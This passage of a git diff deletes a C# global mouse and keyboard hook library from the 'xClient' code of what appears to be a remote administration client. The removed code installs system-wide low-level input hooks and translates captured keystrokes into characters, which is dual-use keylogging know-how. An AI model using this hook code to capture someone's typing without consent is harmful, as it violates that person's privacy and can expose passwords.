end of file diff --git a/Client/Core/MouseKeyHook/KeyPressEventArgsExt.cs b/Client/Core/MouseKeyHook/KeyPressEventArgsExt.cs deleted file mode 100644 index fa7965f77..000000000 --- a/Client/Core/MouseKeyHook/KeyPressEventArgsExt.cs +++ /dev/null @@ -1,119 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.Implementation; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook -{ - /// - /// Provides extended data for the event. - /// - public class KeyPressEventArgsExt : KeyPressEventArgs - { - internal KeyPressEventArgsExt(char keyChar, int timestamp) - : base(keyChar) - { - IsNonChar = keyChar == (char) 0x0; - Timestamp = timestamp; - } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Character corresponding to the key pressed. 0 char if represents a system or functional non char - /// key. - /// - public KeyPressEventArgsExt(char keyChar) - : this(keyChar, Environment.TickCount) - { - } - - /// - /// True if represents a system or functional non char key. - /// - public bool IsNonChar { get; private set; } - - /// - /// The system tick count of when the event occurred. - /// - public int Timestamp { get; private set; } - - internal static IEnumerable FromRawDataApp(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - //http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx - - const uint maskKeydown = 0x40000000; // for bit 30 - const uint maskKeyup = 0x80000000; // for bit 31 - const uint maskScanCode = 0xff0000; // for bit 23-16 - - var flags = (uint) lParam.ToInt64(); - - //bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up. - var wasKeyDown = (flags & maskKeydown) > 0; - //bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released. - var isKeyReleased = (flags & maskKeyup) > 0; - - if (!wasKeyDown && !isKeyReleased) - { - yield break; - } - - var virtualKeyCode = (int) wParam; - var scanCode = checked((int) (flags & maskScanCode)); - const int fuState = 0; - - char[] chars; - - KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars); - if (chars == null) yield break; - foreach (var ch in chars) - { - yield return new KeyPressEventArgsExt(ch); - } - } - - internal static IEnumerable FromRawDataGlobal(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - if ((int) wParam != Messages.WM_KEYDOWN) - { - yield break; - } - - KeyboardHookStruct keyboardHookStruct = - (KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct)); - - var virtualKeyCode = keyboardHookStruct.VirtualKeyCode; - var scanCode = keyboardHookStruct.ScanCode; - var fuState = keyboardHookStruct.Flags; - - if (virtualKeyCode == KeyboardNativeMethods.VK_PACKET) - { - var ch = (char) scanCode; - yield return new KeyPressEventArgsExt(ch, keyboardHookStruct.Time); - } - else - { - char[] chars; - KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars); - if (chars == null) yield break; - foreach (var current in chars) - { - yield return new KeyPressEventArgsExt(current, keyboardHookStruct.Time); - } - } - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/MouseEventExtArgs.cs b/Client/Core/MouseKeyHook/MouseEventExtArgs.cs deleted file mode 100644 index aadb76368..000000000 --- a/Client/Core/MouseKeyHook/MouseEventExtArgs.cs +++ /dev/null @@ -1,211 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.MouseKeyHook -{ - /// - /// Provides extended data for the MouseClickExt and MouseMoveExt events. - /// - public class MouseEventExtArgs : MouseEventArgs - { - /// - /// Initializes a new instance of the class. - /// - /// One of the MouseButtons values indicating which mouse button was pressed. - /// The number of times a mouse button was pressed. - /// The x and y -coordinate of a mouse click, in pixels. - /// A signed count of the number of detents the wheel has rotated. - /// The system tick count when the event occurred. - /// True if event signals mouse button down. - /// True if event signals mouse button up. - internal MouseEventExtArgs(MouseButtons buttons, int clicks, Point point, int delta, int timestamp, - bool isMouseKeyDown, bool isMouseKeyUp) - : base(buttons, clicks, point.X, point.Y, delta) - { - IsMouseKeyDown = isMouseKeyDown; - IsMouseKeyUp = isMouseKeyUp; - Timestamp = timestamp; - } - - /// - /// Set this property to true inside your event handler to prevent further processing of the event in other - /// applications. - /// - public bool Handled { get; set; } - - /// - /// True if event contains information about wheel scroll. - /// - public bool WheelScrolled - { - get { return Delta != 0; } - } - - /// - /// True if event signals a click. False if it was only a move or wheel scroll. - /// - public bool Clicked - { - get { return Clicks > 0; } - } - - /// - /// True if event signals mouse button down. - /// - public bool IsMouseKeyDown { get; private set; } - - /// - /// True if event signals mouse button up. - /// - public bool IsMouseKeyUp { get; private set; } - - /// - /// The system tick count of when the event occurred. - /// - public int Timestamp { get; private set; } - - /// - /// - internal Point Point - { - get { return new Point(X, Y); } - } - - internal static MouseEventExtArgs FromRawDataApp(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - AppMouseStruct marshalledMouseStruct = - (AppMouseStruct) Marshal.PtrToStructure(lParam, typeof (AppMouseStruct)); - return FromRawDataUniversal(wParam, marshalledMouseStruct.ToMouseStruct()); - } - - internal static MouseEventExtArgs FromRawDataGlobal(CallbackData data) - { - var wParam = data.WParam; - var lParam = data.LParam; - - MouseStruct marshalledMouseStruct = (MouseStruct) Marshal.PtrToStructure(lParam, typeof (MouseStruct)); - return FromRawDataUniversal(wParam, marshalledMouseStruct); - } - - /// - /// Creates from relevant mouse data. - /// - /// First Windows Message parameter. - /// A MouseStruct containing information from which to construct MouseEventExtArgs. - /// A new MouseEventExtArgs object. - private static MouseEventExtArgs FromRawDataUniversal(IntPtr wParam, MouseStruct mouseInfo) - { - MouseButtons button = MouseButtons.None; - short mouseDelta = 0; - int clickCount = 0; - - bool isMouseKeyDown = false; - bool isMouseKeyUp = false; - - - switch ((long) wParam) - { - case Messages.WM_LBUTTONDOWN: - isMouseKeyDown = true; - button = MouseButtons.Left; - clickCount = 1; - break; - case Messages.WM_LBUTTONUP: - isMouseKeyUp = true; - button = MouseButtons.Left; - clickCount = 1; - break; - case Messages.WM_LBUTTONDBLCLK: - isMouseKeyDown = true; - button = MouseButtons.Left; - clickCount = 2; - break; - case Messages.WM_RBUTTONDOWN: - isMouseKeyDown = true; - button = MouseButtons.Right; - clickCount = 1; - break; - case Messages.WM_RBUTTONUP: - isMouseKeyUp = true; - button = MouseButtons.Right; - clickCount = 1; - break; - case Messages.WM_RBUTTONDBLCLK: - isMouseKeyDown = true; - button = MouseButtons.Right; - clickCount = 2; - break; - case Messages.WM_MBUTTONDOWN: - isMouseKeyDown = true; - button = MouseButtons.Middle; - clickCount = 1; - break; - case Messages.WM_MBUTTONUP: - isMouseKeyUp = true; - button = MouseButtons.Middle; - clickCount = 1; - break; - case Messages.WM_MBUTTONDBLCLK: - isMouseKeyDown = true; - button = MouseButtons.Middle; - clickCount = 2; - break; - case Messages.WM_MOUSEWHEEL: - mouseDelta = mouseInfo.MouseData; - break; - case Messages.WM_XBUTTONDOWN: - button = mouseInfo.MouseData == 1 - ? MouseButtons.XButton1 - : MouseButtons.XButton2; - isMouseKeyDown = true; - clickCount = 1; - break; - - case Messages.WM_XBUTTONUP: - button = mouseInfo.MouseData == 1 - ? MouseButtons.XButton1 - : MouseButtons.XButton2; - isMouseKeyUp = true; - clickCount = 1; - break; - - case Messages.WM_XBUTTONDBLCLK: - isMouseKeyDown = true; - button = mouseInfo.MouseData == 1 - ? MouseButtons.XButton1 - : MouseButtons.XButton2; - clickCount = 2; - break; - - case Messages.WM_MOUSEHWHEEL: - mouseDelta = mouseInfo.MouseData; - break; - } - - var e = new MouseEventExtArgs( - button, - clickCount, - mouseInfo.Point, - mouseDelta, - mouseInfo.Timestamp, - isMouseKeyDown, - isMouseKeyUp); - - return e; - } - - internal MouseEventExtArgs ToDoubleClickEventArgs() - { - return new MouseEventExtArgs(Button, 2, Point, Delta, Timestamp, IsMouseKeyDown, IsMouseKeyUp); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/AppMouseStruct.cs b/Client/Core/MouseKeyHook/WinApi/AppMouseStruct.cs deleted file mode 100644 index 717f26990..000000000 --- a/Client/Core/MouseKeyHook/WinApi/AppMouseStruct.cs +++ /dev/null @@ -1,70 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - /// - /// The AppMouseStruct structure contains information about a application-level mouse input event. - /// - /// - /// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct - /// - [StructLayout(LayoutKind.Explicit)] - internal struct AppMouseStruct - { - /// - /// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates. - /// - [FieldOffset(0x00)] public Point Point; - - /// - /// Specifies information associated with the message. - /// - /// - /// The possible values are: - /// - /// - /// 0 - No Information - /// - /// - /// 1 - X-Button1 Click - /// - /// - /// 2 - X-Button2 Click - /// - /// - /// 120 - Mouse Scroll Away from User - /// - /// - /// -120 - Mouse Scroll Toward User - /// - /// - /// -#if IS_X64 - [FieldOffset(0x22)] -#else - [FieldOffset(0x16)] -#endif - public Int16 MouseData; - - /// - /// Converts the current into a . - /// - /// - /// - /// The AppMouseStruct does not have a timestamp, thus one is generated at the time of this call. - /// - public MouseStruct ToMouseStruct() - { - MouseStruct tmp = new MouseStruct(); - tmp.Point = Point; - tmp.MouseData = MouseData; - tmp.Timestamp = Environment.TickCount; - return tmp; - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/CallbackData.cs b/Client/Core/MouseKeyHook/WinApi/CallbackData.cs deleted file mode 100644 index 654a23fc0..000000000 --- a/Client/Core/MouseKeyHook/WinApi/CallbackData.cs +++ /dev/null @@ -1,30 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal struct CallbackData - { - private readonly IntPtr m_LParam; - private readonly IntPtr m_WParam; - - public CallbackData(IntPtr wParam, IntPtr lParam) - { - m_WParam = wParam; - m_LParam = lParam; - } - - public IntPtr WParam - { - get { return m_WParam; } - } - - public IntPtr LParam - { - get { return m_LParam; } - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/HookHelper.cs b/Client/Core/MouseKeyHook/WinApi/HookHelper.cs deleted file mode 100644 index 46fb4f6b8..000000000 --- a/Client/Core/MouseKeyHook/WinApi/HookHelper.cs +++ /dev/null @@ -1,101 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.InteropServices; -using xClient.Core.MouseKeyHook.Implementation; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal static class HookHelper - { - public static HookResult HookAppMouse(Callback callback) - { - return HookApp(HookIds.WH_MOUSE, callback); - } - - public static HookResult HookAppKeyboard(Callback callback) - { - return HookApp(HookIds.WH_KEYBOARD, callback); - } - - public static HookResult HookGlobalMouse(Callback callback) - { - return HookGlobal(HookIds.WH_MOUSE_LL, callback); - } - - public static HookResult HookGlobalKeyboard(Callback callback) - { - return HookGlobal(HookIds.WH_KEYBOARD_LL, callback); - } - - private static HookResult HookApp(int hookId, Callback callback) - { - HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback); - - var hookHandle = HookNativeMethods.SetWindowsHookEx( - hookId, - hookProcedure, - IntPtr.Zero, - ThreadNativeMethods.GetCurrentThreadId()); - - if (hookHandle.IsInvalid) - { - ThrowLastUnmanagedErrorAsException(); - } - - return new HookResult(hookHandle, hookProcedure); - } - - private static HookResult HookGlobal(int hookId, Callback callback) - { - HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback); - - var hookHandle = HookNativeMethods.SetWindowsHookEx( - hookId, - hookProcedure, - Process.GetCurrentProcess().MainModule.BaseAddress, - 0); - - if (hookHandle.IsInvalid) - { - ThrowLastUnmanagedErrorAsException(); - } - - return new HookResult(hookHandle, hookProcedure); - } - - private static IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam, Callback callback) - { - var passThrough = nCode != 0; - if (passThrough) - { - return CallNextHookEx(nCode, wParam, lParam); - } - - var callbackData = new CallbackData(wParam, lParam); - var continueProcessing = callback(callbackData); - - if (!continueProcessing) - { - return new IntPtr(-1); - } - - return CallNextHookEx(nCode, wParam, lParam); - } - - private static IntPtr CallNextHookEx(int nCode, IntPtr wParam, IntPtr lParam) - { - return HookNativeMethods.CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam); - } - - private static void ThrowLastUnmanagedErrorAsException() - { - var errorCode = Marshal.GetLastWin32Error(); - throw new Win32Exception(errorCode); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/HookIds.cs b/Client/Core/MouseKeyHook/WinApi/HookIds.cs deleted file mode 100644 index 982b15c10..000000000 --- a/Client/Core/MouseKeyHook/WinApi/HookIds.cs +++ /dev/null @@ -1,30 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal static class HookIds - { - /// - /// Installs a hook procedure that monitors mouse messages. For more information, see the MouseProc hook procedure. - /// - internal const int WH_MOUSE = 7; - - /// - /// Installs a hook procedure that monitors keystroke messages. For more information, see the KeyboardProc hook - /// procedure. - /// - internal const int WH_KEYBOARD = 2; - - /// - /// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level mouse input events. - /// - internal const int WH_MOUSE_LL = 14; - - /// - /// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level keyboard input events. - /// - internal const int WH_KEYBOARD_LL = 13; - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/HookNativeMethods.cs b/Client/Core/MouseKeyHook/WinApi/HookNativeMethods.cs deleted file mode 100644 index 995731348..000000000 --- a/Client/Core/MouseKeyHook/WinApi/HookNativeMethods.cs +++ /dev/null @@ -1,89 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal static class HookNativeMethods - { - /// - /// The CallNextHookEx function passes the hook information to the next hook procedure in the current hook chain. - /// A hook procedure can call this function either before or after processing the hook information. - /// - /// This parameter is ignored. - /// [in] Specifies the hook code passed to the current hook procedure. - /// [in] Specifies the wParam value passed to the current hook procedure. - /// [in] Specifies the lParam value passed to the current hook procedure. - /// This value is returned by the next hook procedure in the chain. - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp - /// - [DllImport("user32.dll", CharSet = CharSet.Auto, - CallingConvention = CallingConvention.StdCall)] - internal static extern IntPtr CallNextHookEx( - IntPtr idHook, - int nCode, - IntPtr wParam, - IntPtr lParam); - - /// - /// The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. - /// You would install a hook procedure to monitor the system for certain types of events. These events - /// are associated either with a specific thread or with all threads in the same desktop as the calling thread. - /// - /// - /// [in] Specifies the type of hook procedure to be installed. This parameter can be one of the following values. - /// - /// - /// [in] Pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a - /// thread created by a different process, the lpfn parameter must point to a hook procedure in a dynamic-link - /// library (DLL). Otherwise, lpfn can point to a hook procedure in the code associated with the current process. - /// - /// - /// [in] Handle to the DLL containing the hook procedure pointed to by the lpfn parameter. - /// The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by - /// the current process and if the hook procedure is within the code associated with the current process. - /// - /// - /// [in] Specifies the identifier of the thread with which the hook procedure is to be associated. - /// If this parameter is zero, the hook procedure is associated with all existing threads running in the - /// same desktop as the calling thread. - /// - /// - /// If the function succeeds, the return value is the handle to the hook procedure. - /// If the function fails, the return value is NULL. To get extended error information, call GetLastError. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp - /// - [DllImport("user32.dll", CharSet = CharSet.Auto, - CallingConvention = CallingConvention.StdCall, SetLastError = true)] - internal static extern HookProcedureHandle SetWindowsHookEx( - int idHook, - HookProcedure lpfn, - IntPtr hMod, - int dwThreadId); - - /// - /// The UnhookWindowsHookEx function removes a hook procedure installed in a hook chain by the SetWindowsHookEx - /// function. - /// - /// - /// [in] Handle to the hook to be removed. This parameter is a hook handle obtained by a previous call to - /// SetWindowsHookEx. - /// - /// - /// If the function succeeds, the return value is nonzero. - /// If the function fails, the return value is zero. To get extended error information, call GetLastError. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp - /// - [DllImport("user32.dll", CharSet = CharSet.Auto, - CallingConvention = CallingConvention.StdCall, SetLastError = true)] - internal static extern int UnhookWindowsHookEx(IntPtr idHook); - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/HookProcedure.cs b/Client/Core/MouseKeyHook/WinApi/HookProcedure.cs deleted file mode 100644 index c952a2c21..000000000 --- a/Client/Core/MouseKeyHook/WinApi/HookProcedure.cs +++ /dev/null @@ -1,40 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - /// - /// The CallWndProc hook procedure is an application-defined or library-defined callback - /// function used with the SetWindowsHookEx function. The HOOKPROC type defines a pointer - /// to this callback function. CallWndProc is a placeholder for the application-defined - /// or library-defined function name. - /// - /// - /// [in] Specifies whether the hook procedure must process the message. - /// If nCode is HC_ACTION, the hook procedure must process the message. - /// If nCode is less than zero, the hook procedure must pass the message to the - /// CallNextHookEx function without further processing and must return the - /// value returned by CallNextHookEx. - /// - /// - /// [in] Specifies whether the message was sent by the current thread. - /// If the message was sent by the current thread, it is nonzero; otherwise, it is zero. - /// - /// - /// [in] Pointer to a CWPSTRUCT structure that contains details about the message. - /// - /// - /// If nCode is less than zero, the hook procedure must return the value returned by CallNextHookEx. - /// If nCode is greater than or equal to zero, it is highly recommended that you call CallNextHookEx - /// and return the value it returns; otherwise, other applications that have installed WH_CALLWNDPROC - /// hooks will not receive hook notifications and may behave incorrectly as a result. If the hook - /// procedure does not call CallNextHookEx, the return value should be zero. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/callwndproc.asp - /// - public delegate IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam); -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/HookProcedureHandle.cs b/Client/Core/MouseKeyHook/WinApi/HookProcedureHandle.cs deleted file mode 100644 index 5cbed9652..000000000 --- a/Client/Core/MouseKeyHook/WinApi/HookProcedureHandle.cs +++ /dev/null @@ -1,31 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Windows.Forms; -using Microsoft.Win32.SafeHandles; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal class HookProcedureHandle : SafeHandleZeroOrMinusOneIsInvalid - { - private static bool _closing; - - static HookProcedureHandle() - { - Application.ApplicationExit += (sender, e) => { _closing = true; }; - } - - public HookProcedureHandle() - : base(true) - { - } - - protected override bool ReleaseHandle() - { - //NOTE Calling Unhook during processexit causes deley - if (_closing) return true; - return HookNativeMethods.UnhookWindowsHookEx(handle) != 0; - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/HookResult.cs b/Client/Core/MouseKeyHook/WinApi/HookResult.cs deleted file mode 100644 index 895604aee..000000000 --- a/Client/Core/MouseKeyHook/WinApi/HookResult.cs +++ /dev/null @@ -1,35 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal class HookResult : IDisposable - { - private readonly HookProcedureHandle m_Handle; - private readonly HookProcedure m_Procedure; - - public HookResult(HookProcedureHandle handle, HookProcedure procedure) - { - m_Handle = handle; - m_Procedure = procedure; - } - - public HookProcedureHandle Handle - { - get { return m_Handle; } - } - - public HookProcedure Procedure - { - get { return m_Procedure; } - } - - public void Dispose() - { - m_Handle.Dispose(); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/KeyboardHookStruct.cs b/Client/Core/MouseKeyHook/WinApi/KeyboardHookStruct.cs deleted file mode 100644 index 24b1339b1..000000000 --- a/Client/Core/MouseKeyHook/WinApi/KeyboardHookStruct.cs +++ /dev/null @@ -1,43 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Runtime.InteropServices; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - /// - /// The KeyboardHookStruct structure contains information about a low-level keyboard input event. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookstructures/cwpstruct.asp - /// - [StructLayout(LayoutKind.Sequential)] - internal struct KeyboardHookStruct - { - /// - /// Specifies a virtual-key code. The code must be a value in the range 1 to 254. - /// - public int VirtualKeyCode; - - /// - /// Specifies a hardware scan code for the key. - /// - public int ScanCode; - - /// - /// Specifies the extended-key flag, event-injected flag, context code, and transition-state flag. - /// - public int Flags; - - /// - /// Specifies the Time stamp for this message. - /// - public int Time; - - /// - /// Specifies extra information associated with the message. - /// - public int ExtraInfo; - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/WinApi/KeyboardNativeMethods.cs b/Client/Core/MouseKeyHook/WinApi/KeyboardNativeMethods.cs deleted file mode 100644 index 5f686d22a..000000000 --- a/Client/Core/MouseKeyHook/WinApi/KeyboardNativeMethods.cs +++ /dev/null @@ -1,366 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.Implementation; - -namespace xClient.Core.MouseKeyHook.WinApi -{ - internal static class KeyboardNativeMethods - { - //values from Winuser.h in Microsoft SDK. - public const byte VK_SHIFT = 0x10; - public const byte VK_CAPITAL = 0x14; - public const byte VK_NUMLOCK = 0x90; - public const byte VK_LSHIFT = 0xA0; - public const byte VK_RSHIFT = 0xA1; - public const byte VK_LCONTROL = 0xA2; - public const byte VK_RCONTROL = 0xA3; - public const byte VK_LMENU = 0xA4; - public const byte VK_RMENU = 0xA5; - public const byte VK_LWIN = 0x5B; - public const byte VK_RWIN = 0x5C; - public const byte VK_SCROLL = 0x91; - public const byte VK_INSERT = 0x2D; - //may be possible to use these aggregates instead of L and R separately (untested) - public const byte VK_CONTROL = 0x11; - public const byte VK_MENU = 0x12; - public const byte VK_PACKET = 0xE7; - //Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods - private static int lastVirtualKeyCode = 0; - private static int lastScanCode = 0; - private static byte[] lastKeyState = new byte[256]; - private static bool lastIsDead = false; - - /// - /// Translates a virtual key to its character equivalent using the current keyboard layout without knowing the - /// scancode in advance. - /// - /// - /// - /// - /// - internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int fuState, out char[] chars) - { - var dwhkl = GetActiveKeyboard(); - int scanCode = MapVirtualKeyEx(virtualKeyCode, (int) MapType.MAPVK_VK_TO_VSC, dwhkl); - TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars); - } - - /// - /// Translates a virtual key to its character equivalent using the current keyboard layout - /// - /// - /// - /// - /// - /// - internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, out char[] chars) - { - var dwhkl = GetActiveKeyboard(); //get the active keyboard layout - TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars); - } - - /// - /// Translates a virtual key to its character equivalent using a specified keyboard layout - /// - /// - /// - /// - /// - /// - /// - internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, IntPtr dwhkl, out char[] chars) - { - StringBuilder pwszBuff = new StringBuilder(64); - KeyboardState keyboardState = KeyboardState.GetCurrent(); - byte[] currentKeyboardState = keyboardState.GetNativeState(); - bool isDead = false; - - if (keyboardState.IsDown(Keys.ShiftKey)) - currentKeyboardState[(byte) Keys.ShiftKey] = 0x80; - - if (keyboardState.IsToggled(Keys.CapsLock)) - currentKeyboardState[(byte) Keys.CapsLock] = 0x01; - - var relevantChars = ToUnicodeEx(virtualKeyCode, scanCode, currentKeyboardState, pwszBuff, pwszBuff.Capacity, fuState, dwhkl); - - switch (relevantChars) - { - case -1: - isDead = true; - ClearKeyboardBuffer(virtualKeyCode, scanCode, dwhkl); - chars = null; - break; - - case 0: - chars = null; - break; - - case 1: - if (pwszBuff.Length > 0) chars = new[] { pwszBuff[0] }; - else chars = null; - break; - - // Two or more (only two of them is relevant) - default: - if (pwszBuff.Length > 1) chars = new[] { pwszBuff[0], pwszBuff[1] }; - else chars = new[] { pwszBuff[0] }; - break; - } - - if (lastVirtualKeyCode != 0 && lastIsDead) - { - if (chars != null) - { - StringBuilder sbTemp = new StringBuilder(5); - ToUnicodeEx(lastVirtualKeyCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, 0, dwhkl); - lastIsDead = false; - lastVirtualKeyCode = 0; - } - - return; - } - - lastScanCode = scanCode; - lastVirtualKeyCode = virtualKeyCode; - lastIsDead = isDead; - lastKeyState = (byte[]) currentKeyboardState.Clone(); - } - - - private static void ClearKeyboardBuffer(int vk, int sc, IntPtr hkl) - { - var sb = new StringBuilder(10); - - int rc; - do - { - byte[] lpKeyStateNull = new Byte[255]; - rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl); - } while (rc < 0); - } - - /// - /// Gets the input locale identifier for the active application's thread. Using this combined with the ToUnicodeEx and - /// MapVirtualKeyEx enables Windows to properly translate keys based on the keyboard layout designated for the - /// application. - /// - /// HKL - private static IntPtr GetActiveKeyboard() - { - IntPtr hActiveWnd = ThreadNativeMethods.GetForegroundWindow(); //handle to focused window - int dwProcessId; - int hCurrentWnd = ThreadNativeMethods.GetWindowThreadProcessId(hActiveWnd, out dwProcessId); - //thread of focused window - return GetKeyboardLayout(hCurrentWnd); //get the layout identifier for the thread whose window is focused - } - - /// - /// The ToAscii function translates the specified virtual-key code and keyboard - /// state to the corresponding character or characters. The function translates the code - /// using the input language and physical keyboard layout identified by the keyboard layout handle. - /// - /// - /// [in] Specifies the virtual-key code to be translated. - /// - /// - /// [in] Specifies the hardware scan code of the key to be translated. - /// The high-order bit of this value is set if the key is up (not pressed). - /// - /// - /// [in] Pointer to a 256-byte array that contains the current keyboard state. - /// Each element (byte) in the array contains the state of one key. - /// If the high-order bit of a byte is set, the key is down (pressed). - /// The low bit, if set, indicates that the key is toggled on. In this function, - /// only the toggle bit of the CAPS LOCK key is relevant. The toggle state - /// of the NUM LOCK and SCROLL LOCK keys is ignored. - /// - /// - /// [out] Pointer to the buffer that receives the translated character or characters. - /// - /// - /// [in] Specifies whether a menu is active. This parameter must be 1 if a menu is active, or 0 otherwise. - /// - /// - /// If the specified key is a dead key, the return value is negative. Otherwise, it is one of the following values. - /// Value Meaning - /// 0 The specified virtual key has no translation for the current state of the keyboard. - /// 1 One character was copied to the buffer. - /// 2 Two characters were copied to the buffer. This usually happens when a dead-key character - /// (accent or diacritic) stored in the keyboard layout cannot be composed with the specified - /// virtual key to form a single character. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp - /// - [Obsolete("Use ToUnicodeEx instead")] - [DllImport("user32.dll")] - public static extern int ToAscii( - int uVirtKey, - int uScanCode, - byte[] lpbKeyState, - byte[] lpwTransKey, - int fuState); - - /// - /// Translates the specified virtual-key code and keyboard state to the corresponding Unicode character or characters. - /// - /// [in] The virtual-key code to be translated. - /// - /// [in] The hardware scan code of the key to be translated. The high-order bit of this value is - /// set if the key is up. - /// - /// - /// [in, optional] A pointer to a 256-byte array that contains the current keyboard state. Each - /// element (byte) in the array contains the state of one key. If the high-order bit of a byte is set, the key is down. - /// - /// - /// [out] The buffer that receives the translated Unicode character or characters. However, this - /// buffer may be returned without being null-terminated even though the variable name suggests that it is - /// null-terminated. - /// - /// [in] The size, in characters, of the buffer pointed to by the pwszBuff parameter. - /// - /// [in] The behavior of the function. If bit 0 is set, a menu is active. Bits 1 through 31 are - /// reserved. - /// - /// The input locale identifier used to translate the specified code. - /// - /// -1 <= return <= n - /// - /// - /// -1 = The specified virtual key is a dead-key character (accent or diacritic). This value is returned - /// 